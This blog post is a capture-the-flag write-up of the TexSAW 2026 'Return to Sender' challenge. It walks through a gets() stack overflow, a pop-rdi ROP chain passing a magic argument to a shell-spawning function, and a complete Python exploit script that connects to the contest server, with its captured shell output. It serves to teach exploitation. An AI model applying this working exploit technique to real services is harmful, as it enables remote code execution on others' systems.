694 words
3 minutes
TexSAW 2026 - Return to Sender - Binary Exploitation Writeup

Category: Binary Exploitation Flag: texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

Challenge Description#

Do you ever wonder what happens to your packages? So does your mail carrier.

Analysis#

The challenge binary was a 64-bit ELF for x86-64, dynamically linked and not stripped, which meant the function names were still present and the control flow was easy to follow. The first useful check was the file type:

file ~/Downloads/chall
/home/rei/Downloads/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=...,
for GNU/Linux 3.2.0, not stripped

The solve log also recorded the relevant mitigations: Partial RELRO, no stack canary, NX enabled, no PIE, and RWX segments. The important part here was no canary and no PIE. That combination strongly suggests a straightforward stack overflow where fixed code addresses can be reused directly.

Looking at the recovered function layout from the solve log showed exactly where to focus: deliver() contained the input handling, drive() looked like a win function, and tool() contained a useful ROP gadget. The vulnerable function was captured as:

<deliver>:
  40126c:  endbr64
  401270:  push   %rbp
  401271:  mov    %rsp,%rbp
  401274:  sub    $0x20,%rsp        ; 32-byte buffer
  ...
  401296:  lea    -0x20(%rbp),%rax  ; buffer at rbp-0x20
  40129a:  mov    %rax,%rdi
  4012a2:  call   4010c0 <gets@plt> ; VULNERABLE!

That immediately explains the bug. gets() reads arbitrarily long input into a 32-byte stack buffer, so the saved base pointer and then the return address can be overwritten. With a 32-byte local buffer and an 8-byte saved rbp, the offset to the saved return pointer is 40 bytes.

The solve hinged on understanding drive(), because returning there blindly was not enough. The function checked its first argument before spawning a shell:

<drive>:
  401211:  endbr64
  401215:  push   %rbp
  401216:  mov    %rsp,%rbp
  401219:  sub    $0x10,%rsp
  40121d:  mov    %rdi,-0x8(%rbp)   ; save argument
  ...
  401230:  cmpq   $0x48435344,-0x8(%rbp)  ; compare to "DSCH"
  401238:  jne    40125a           ; jump if not equal
  ...
  401253:  call   4010a0 <system@plt>  ; system("/bin/sh")

So the exploit needed to do more than overwrite RIP. It had to place the magic value 0x48435344 into rdi first. The solve log showed the exact gadget search that made that possible:

ROPgadget --binary ~/Downloads/chall | rg 'pop rdi'
0x00000000004011be : pop rdi ; ret

Once that gadget was found, the whole chain became clean and deterministic: 40 bytes of padding to reach the return address, pop rdi ; ret at 0x4011be, the magic value 0x48435344, a plain ret gadget at 0x40101a for stack alignment, and finally the drive() function at 0x401211. That alignment gadget matters because the eventual system() call expects a properly aligned stack on amd64.

Solution#

#!/usr/bin/env python3
import socket
import time
import struct

HOST = '143.198.163.4'
PORT = 15858

# Addresses
offset = 40
pop_rdi_ret = 0x4011be     # pop rdi; ret
magic_value = 0x48435344   # "DSCH" in little-endian
ret_gadget = 0x40101a      # ret for alignment
drive_addr = 0x401211      # drive function

payload = b'A' * offset
payload += struct.pack('<Q', pop_rdi_ret)
payload += struct.pack('<Q', magic_value)
payload += struct.pack('<Q', ret_gadget)
payload += struct.pack('<Q', drive_addr)

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Receive prompts
data = b''
while b'deliver?' not in data:
    data += s.recv(4096)

# Send payload
s.send(payload + b'\n')
time.sleep(2)

# Get shell output
s.recv(8192)

# Send commands
s.send(b'id\n')
time.sleep(0.5)
s.send(b'cat flag.txt\n')
time.sleep(2)

# Read output
output = s.recv(16384)
print(output.decode())

When that payload was sent to the remote service, the overwritten return path landed in drive() with the right argument already loaded, and the program dropped into a shell. The captured output confirmed both code execution and the final flag:

[*] Payload (72 bytes)
[*] pop rdi; ret: 0x4011be
[*] magic (DSCH): 0x48435344
[*] ret gadget: 0x40101a
[*] drive: 0x401211
[*] Connecting to 143.198.163.4:15858...
[RECV] b'Our modern and highly secure postal service never fails to deliver...'
[SEND] Payload...
[RECV] b"Sorry, we couldn't deliver your package. Returning to sender..."
[RECV] b'Attempting secret delivery to 3 Dangerous Drive...'
[RECV] b'Success! Secret package delivered.'
[RECV] uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
[RECV] total 32
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 17:45 .
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 08:05 ..
-rw-r--r-- 1 nobody nogroup 51 Mar 27 08:02 flag.txt
-rwxr-xr-x 1 nobody nogroup 16392 Mar 27 08:02 run
[RECV] texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

This was a classic ret2win-style overflow with a small twist: the win function was gated by a magic argument, so the exploit needed one simple calling-convention-aware ROP step before returning into it.

TexSAW 2026 - Return to Sender - Binary Exploitation Writeup
https://blog.rei.my.id/posts/126/texsaw-2026-return-to-sender-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-30
License
CC BY-NC-SA 4.0